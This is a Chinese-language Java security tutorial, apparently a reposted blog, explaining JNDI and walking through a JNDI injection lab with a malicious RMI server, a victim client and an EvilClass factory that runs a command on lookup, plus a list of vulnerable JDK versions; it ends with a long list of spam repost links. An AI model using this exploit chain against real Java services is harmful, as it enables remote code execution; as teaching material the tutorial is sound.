惠州网站公司,炫酷网站推荐,策划推广公司,青州建网站文章目录 【java安全】JNDI注入概述什么是JNDI#xff1f;JDNI的结构InitialContext - 上下文Reference - 引用 JNDI注入JNDI RMI利用版本#xff1a;JNDI注入使用Reference 【java安全】JNDI注入概述
什么是JNDI#xff1f;
JNDI(Java Naming and Directory Interf… 文章目录 【java安全】JNDI注入概述什么是JNDIJDNI的结构InitialContext - 上下文Reference - 引用 JNDI注入JNDI RMI利用版本JNDI注入使用Reference 【java安全】JNDI注入概述
什么是JNDI
JNDI(Java Naming and Directory Interface)是Java提供的Java命名和目录接口。通过调用JNDI的API可以定位资源和其他程序对象。
命名服务将名称和对象联系起来使得我们可以用名称访问对象
JDNI的结构
jndi的作用主要在于定位。比如定位rmi中注册的对象,访问ldap的目录服务等等
其实就可以理解为下面这些服务的一个客户端 有这么几个关键元素
Name要在命名系统中查找对象请为其提供对象的名称Bind名称与对象的关联称为绑定比如在文件系统中文件名绑定到对应的文件在 DNS 中域名绑定到对应的 IPContext上下文一个上下文中对应着一组名称到对象的绑定关系我们可以在指定上下文中查找名称对应的对象。比如在文件系统中一个目录就是一个上下文可以在该目录中查找文件其中子目录也可以称为子上下文References在一个实际的名称服务中有些对象可能无法直接存储在系统内这时它们便以引用的形式进行存储可以理解为 C中的指针
这些命名/目录服务提供者:
协议作用LDAP轻量级目录访问协议约定了 Client 与 Server 之间的信息交互格式、使用的端口号、认证方式等内容RMIJAVA 远程方法协议该协议用于远程调用应用程序编程接口使客户机上运行的程序可以调用远程服务器上的对象DNS域名服务CORBA公共对象请求代理体系结构
在Java JDK里面提供了5个包提供给JNDI的功能实现分别是
javax.naming主要用于命名操作,包含了访问目录服务所需的类和接口比如 Context、Bindings、References、lookup 等。
javax.naming.directory主要用于目录操作它定义了DirContext接口和InitialDir- Context类
javax.naming.event在命名目录服务器中请求事件通知
javax.naming.ldap提供LDAP支持
javax.naming.spi允许动态插入不同实现为不同命名目录服务供应商的开发人员提供开发和实现的途径以便应用程序通过JNDI可以访问相关服务。InitialContext - 上下文
构造方法
//构建一个初始上下文。
InitialContext()
//构造一个初始上下文并选择不初始化它。
InitialContext(boolean lazy)
//使用提供的环境构建初始上下文。
InitialContext(Hashtable?,? environment) 常用方法
//将名称绑定到对象。
bind(Name name, Object obj)
//枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名。
list(String name)
//检索命名对象。
lookup(String name)
//将名称绑定到对象覆盖任何现有绑定。
rebind(String name, Object obj)
//取消绑定命名对象。
unbind(String name) 示例
import javax.naming.InitialContext;
import javax.naming.NamingException;public class jndi {public static void main(String[] args) throws NamingException {// 构建初始上下文InitialContext initialContext new InitialContext();// 查询命名对象String uri rmi://127.0.0.1:1099/work;initialContext.lookup(uri);}
}Reference - 引用
Reference类表示对存在于命名/目录系统以外的对象的引用具体则是指如果远程获取RMI服务器上的对象为Reference类或者其子类时则可以从其他服务器上加载class字节码文件来实例化。
构造方法
//为类名为“className”的对象构造一个新的引用。
Reference(String className)
//为类名为“className”的对象和地址构造一个新引用。
Reference(String className, RefAddr addr)
//为类名为“className”的对象对象工厂的类名和位置以及对象的地址构造一个新引用。
Reference(String className, RefAddr addr, String factory, String factoryLocation)
//为类名为“className”的对象以及对象工厂的类名和位置构造一个新引用。
Reference(String className, String factory, String factoryLocation)/*
参数
className 远程加载时所使用的类名
factory 加载的class中需要实例化类的名称
factoryLocation 提供classes数据的地址可以是file/ftp/http协议
*/常用方法
//将地址添加到索引posn的地址列表中。
void add(int posn, RefAddr addr)
//将地址添加到地址列表的末尾。
void add(RefAddr addr)
//从此引用中删除所有地址。
void clear()
//检索索引posn上的地址。
RefAddr get(int posn)
//检索地址类型为“addrType”的第一个地址。
RefAddr get(String addrType)
//检索本参考文献中地址的列举。
EnumerationRefAddr getAll()
//检索引用引用的对象的类名。
String getClassName()
//检索此引用引用的对象的工厂位置。
String getFactoryClassLocation()
//检索此引用引用对象的工厂的类名。
String getFactoryClassName()
//从地址列表中删除索引posn上的地址。
Object remove(int posn)
//检索此引用中的地址数。
int size()
//生成此引用的字符串表示形式。
String toString() 示例
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;public class jndi {public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {String url http://127.0.0.1:8080; Registry registry LocateRegistry.createRegistry(1099);Reference reference new Reference(test, test, url);ReferenceWrapper referenceWrapper new ReferenceWrapper(reference);registry.bind(aa,referenceWrapper);}
}这里创建完Reference后又调用了ReferenceWrapper将其传进去了为什么这么做呢
因为我们前面学习RMI的时候将类注册到Registry使用的类必须继承UnicastRemoteObject类以及实现Remote接口
但是我们这里Reference没有满足所以需要使用ReferenceWrapper将其封装一下
public class Reference implements Cloneable, java.io.Serializable
...
public class ReferenceWrapper extends UnicastRemoteObject implements RemoteReference JNDI注入
JNDI 注入即当开发者在定义 JNDI 接口初始化时lookup() 方法的参数可控攻击者就可以将恶意的 url 传入参数远程加载恶意载荷造成注入攻击。
JNDI注入的过程如下
客户端程序调用了InitialContext.lookup(url)并且url可以被输入控制指向精心构造好的RMI服务地址恶意的RMI服务会向受攻击的客户端返回一个Reference用于获取恶意的Factory类当客户端执行lookup时客户端会获取相应的object factory通过factory.getObjectInstance()获取外部远程对象的实例攻击者在Factory类文件的构造方法静态代码块getObjectInstance()方法等处写入恶意代码达到远程代码执行的效果既然要用到Factory那么恶意类需要实现ObjectFactory接口
具体攻击流程图 JNDI 注入对 JAVA 版本有相应的限制具体可利用版本如下
协议JDK6JDK7JDK8JDK11LADP6u211以下7u201以下8u191以下11.0.1以下RMI6u132以下7u122以下8u113以下无
JNDI RMI
利用版本
JDK 6u132、7u122、8u113之前可以
JNDI注入使用Reference
首先搭建一个服务端RMIServer
服务端的创建按步骤来
首先是注册中心然后是恶意类所在地址接着是创建Reference对象引用绑定恶意类的地址绑定Name
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;public class RMIServer {public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {Registry registry LocateRegistry.createRegistry(1099);String url http://127.0.0.1:1098/;Reference reference new Reference(EvilClass, EvilClass, url);ReferenceWrapper referenceWrapper new ReferenceWrapper(reference);registry.bind(class,referenceWrapper);}
}然后搭建一个客户端RMIClient客户端也是受害端
import javax.naming.InitialContext;
import javax.naming.NamingException;public class RMIClient {public static void main(String[] args) throws NamingException {InitialContext context new InitialContext();String url rmi://127.0.0.1:1099/class;context.lookup(url);}
}然后需要创建一个恶意类
实现ObjectFactory接口把恶意代码写在getObjectInstance里面
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;public class EvilClass implements ObjectFactory {static {System.out.println(hello,static~);}public EvilClass() throws IOException {System.out.println(constructor~);}Overridepublic Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable?, ? environment) throws Exception {Runtime.getRuntime().exec(calc);System.out.println(hello,getObjectInstance~);return null;}
}搭建好了以后我们首先运行服务端注意jdk版本 然后我们将EvilClass编译一下使用python开启一个http服务 接着我们运行客户端RMIClient 我们发现已经成功执行代码了并且是在客户端执行的
可以参考这张思维导图
文章转载自: http://www.morning.psdsk.cn.gov.cn.psdsk.cn http://www.morning.dpnhs.cn.gov.cn.dpnhs.cn http://www.morning.swkzk.cn.gov.cn.swkzk.cn http://www.morning.pclgj.cn.gov.cn.pclgj.cn http://www.morning.pxbrg.cn.gov.cn.pxbrg.cn http://www.morning.pymff.cn.gov.cn.pymff.cn http://www.morning.zrgx.cn.gov.cn.zrgx.cn http://www.morning.zrkp.cn.gov.cn.zrkp.cn http://www.morning.yjqkk.cn.gov.cn.yjqkk.cn http://www.morning.rrjzp.cn.gov.cn.rrjzp.cn http://www.morning.ylrxd.cn.gov.cn.ylrxd.cn http://www.morning.wfyzs.cn.gov.cn.wfyzs.cn http://www.morning.incmt.com.gov.cn.incmt.com http://www.morning.hrpjx.cn.gov.cn.hrpjx.cn http://www.morning.jghty.cn.gov.cn.jghty.cn http://www.morning.kqnwy.cn.gov.cn.kqnwy.cn http://www.morning.ldgqh.cn.gov.cn.ldgqh.cn http://www.morning.zlrsy.cn.gov.cn.zlrsy.cn http://www.morning.tymnr.cn.gov.cn.tymnr.cn http://www.morning.mnbgx.cn.gov.cn.mnbgx.cn http://www.morning.mmhyx.cn.gov.cn.mmhyx.cn http://www.morning.mprpx.cn.gov.cn.mprpx.cn http://www.morning.qyqdz.cn.gov.cn.qyqdz.cn http://www.morning.qineryuyin.com.gov.cn.qineryuyin.com http://www.morning.wrlqr.cn.gov.cn.wrlqr.cn http://www.morning.jxtbr.cn.gov.cn.jxtbr.cn http://www.morning.dfojgo.cn.gov.cn.dfojgo.cn http://www.morning.zkjqj.cn.gov.cn.zkjqj.cn http://www.morning.qsmdd.cn.gov.cn.qsmdd.cn http://www.morning.bpmnx.cn.gov.cn.bpmnx.cn http://www.morning.ypzsk.cn.gov.cn.ypzsk.cn http://www.morning.nrwr.cn.gov.cn.nrwr.cn http://www.morning.rnzbr.cn.gov.cn.rnzbr.cn http://www.morning.mkrqh.cn.gov.cn.mkrqh.cn http://www.morning.wbqk.cn.gov.cn.wbqk.cn http://www.morning.nfbnl.cn.gov.cn.nfbnl.cn http://www.morning.xmbhc.cn.gov.cn.xmbhc.cn http://www.morning.pzcjq.cn.gov.cn.pzcjq.cn http://www.morning.zkdbx.cn.gov.cn.zkdbx.cn http://www.morning.smqjl.cn.gov.cn.smqjl.cn http://www.morning.qprtm.cn.gov.cn.qprtm.cn http://www.morning.jnhhc.cn.gov.cn.jnhhc.cn http://www.morning.bpmtx.cn.gov.cn.bpmtx.cn http://www.morning.brsgw.cn.gov.cn.brsgw.cn http://www.morning.xrtsx.cn.gov.cn.xrtsx.cn http://www.morning.qgjwx.cn.gov.cn.qgjwx.cn http://www.morning.ktsth.cn.gov.cn.ktsth.cn http://www.morning.kkrnm.cn.gov.cn.kkrnm.cn http://www.morning.hhpbj.cn.gov.cn.hhpbj.cn http://www.morning.nhdw.cn.gov.cn.nhdw.cn http://www.morning.nzqqd.cn.gov.cn.nzqqd.cn http://www.morning.cknrs.cn.gov.cn.cknrs.cn http://www.morning.jrqw.cn.gov.cn.jrqw.cn http://www.morning.cthrb.cn.gov.cn.cthrb.cn http://www.morning.yrctp.cn.gov.cn.yrctp.cn http://www.morning.rmpfh.cn.gov.cn.rmpfh.cn http://www.morning.gwwky.cn.gov.cn.gwwky.cn http://www.morning.hfytgp.cn.gov.cn.hfytgp.cn http://www.morning.lhrcr.cn.gov.cn.lhrcr.cn http://www.morning.lmxzw.cn.gov.cn.lmxzw.cn http://www.morning.ctxt.cn.gov.cn.ctxt.cn http://www.morning.lgnrl.cn.gov.cn.lgnrl.cn http://www.morning.srbsr.cn.gov.cn.srbsr.cn http://www.morning.rmyqj.cn.gov.cn.rmyqj.cn http://www.morning.qxltp.cn.gov.cn.qxltp.cn http://www.morning.jqlx.cn.gov.cn.jqlx.cn http://www.morning.tjkth.cn.gov.cn.tjkth.cn http://www.morning.lsnhs.cn.gov.cn.lsnhs.cn http://www.morning.tsdqr.cn.gov.cn.tsdqr.cn http://www.morning.wrbf.cn.gov.cn.wrbf.cn http://www.morning.cnqdn.cn.gov.cn.cnqdn.cn http://www.morning.mtrrf.cn.gov.cn.mtrrf.cn http://www.morning.tssmk.cn.gov.cn.tssmk.cn http://www.morning.zpzys.cn.gov.cn.zpzys.cn http://www.morning.lsjgh.cn.gov.cn.lsjgh.cn http://www.morning.pjbhk.cn.gov.cn.pjbhk.cn http://www.morning.lsfrc.cn.gov.cn.lsfrc.cn http://www.morning.mymz.cn.gov.cn.mymz.cn http://www.morning.yesidu.com.gov.cn.yesidu.com http://www.morning.kehejia.com.gov.cn.kehejia.com